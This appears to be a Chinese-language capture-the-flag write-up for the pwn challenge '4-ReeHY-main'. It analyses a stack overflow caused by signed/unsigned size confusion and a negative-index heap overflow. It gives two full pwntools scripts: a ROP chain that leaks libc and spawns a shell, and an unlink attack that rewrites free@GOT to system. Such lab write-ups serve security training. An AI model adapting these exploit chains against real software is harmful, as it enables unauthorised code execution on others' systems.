一、棧溢出Getshell
分析
審計IDA代碼,發現在create中存在棧溢出、類型轉換漏洞。如下:
///棧空間佈局
int result; // eax
char buf; // [rsp+0h] [rbp-90h]
void *dest; // [rsp+80h] [rbp-10h]
int index; // [rsp+88h] [rbp-8h]
size_t cin_num; // [rsp+8Ch] [rbp-4h]
1.邏輯漏洞,輸入的nbytes可以<=0x1000
2.nbytes使用的eax,也就是四字節。
但在ssize_t read(int fd, void *buf, size_t nbytes)中,size_t 是無符號的,也就意味着,我們可以輸入超長字符串。並在此覆蓋棧空間。
3.我們必須要覆蓋了cin_num,因爲memcpy(dest, &buf, cin_num)的三個參數都需要爲正常。既然覆蓋,那麼我們就需要填寫上dest、index、cin_num;雖然這裏也可以實現任意地址寫,但是我們已經可以棧溢出控制程序流程咯。
利用
1.確定棧溢出中,dest、index、cin_num、ret的偏移。
2.找到需要的ROP,如:pop rdi,ret;若沒有還有其他方法(這裏就不說了)。構造payload,循環程序流程。
3.先泄漏libc地址,再計算出system、binsh的地址。Getshell。
Python腳本
from pwn import *
context.log_level="debug"
p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")
def add_1(a,b,c):
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(b))
p.recvuntil("cun\n")
p.sendline(str(a))
p.recvuntil("content\n")
p.send(c)
#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
#-------------------------------------------
#
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(read_got_addr)+p64(puts_plt)+p64(main_call)
add_1(0,-1,payload)
#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------
#edb_attach()
p.sendline("zhukaikai")
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(leak_binsh_addr)+p64(leak_system_addr)+p64(main_call)
add_1(0,-1,payload)
p.interactive()
二、Unlink漏洞
分析.
1.邏輯漏洞,添加時的index可以爲負數。
2.List佈局
00000000006020C0 list_size//存放malloc(0x14)_ptr
list_chunk list_isUse
00000000006020E0 malloc()_ptr 0 or 1
---------------- --------- --------
3.我們可以在添加功能中,使index=-2,這樣list_size的內容就被我們任意控制,堆溢出。
4.既然實現了堆溢出,那麼利用Unlink漏洞就可以實現任意地址寫。
Python腳本.
from pwn import *
import os
context.log_level="debug"
p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")
p.recvuntil("$")
def add_1(a,b,c):
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(b))
p.recvuntil("cun\n")
p.sendline(str(a))
p.recvuntil("content\n")
p.send(c)
#set LD_PRELOAD="./libc.so.6"
def del_1(a):
p.sendline("2")
p.recvuntil("dele\n")
p.sendline(str(a))
def edit_1(a,b):
p.sendline("3")
p.recvuntil("edit\n")
p.sendline(str(a))
p.recvuntil("content\n")
p.send(b)
#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
chunk_list_addr=0x006020e0
#-------------------------------------------
add_1(0,0x120,"a")
p.recvuntil("$")
add_1(1,0x120,"a")
p.recvuntil("$")
add_1(-2,0x50,p32(0x200)+p32(0x200))#控制list_size
p.recvuntil("$")
fake_chunk=p64(0)+p64(0)+p64(chunk_list_addr-0x18)+p64(chunk_list_addr-0x10)
payload=fake_chunk+('a'*(0x100))+p64(0x120)+p64(0x130)
edit_1(0,payload)#僞造堆塊
p.recvuntil("$")
del_1(1)#觸發Unlink()
p.recvuntil("$")
#這裏已經可以任意地址寫了。
payload="\x00"*0x18+p64(free_got_addr)+p64(1)+p64(read_got_addr)+p64(1)#寫地址、
edit_1(0,payload)
p.recvuntil("$")
edit_1(0,p64(puts_plt))#寫內容
p.recvuntil("$")
del_1(1)#泄漏read got中地址
#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------
edit_1(0,p64(leak_system_addr))
add_1(2,0x50,"/bin/sh\x00")
p.recvuntil("$")
del_1(2)
p.interactive()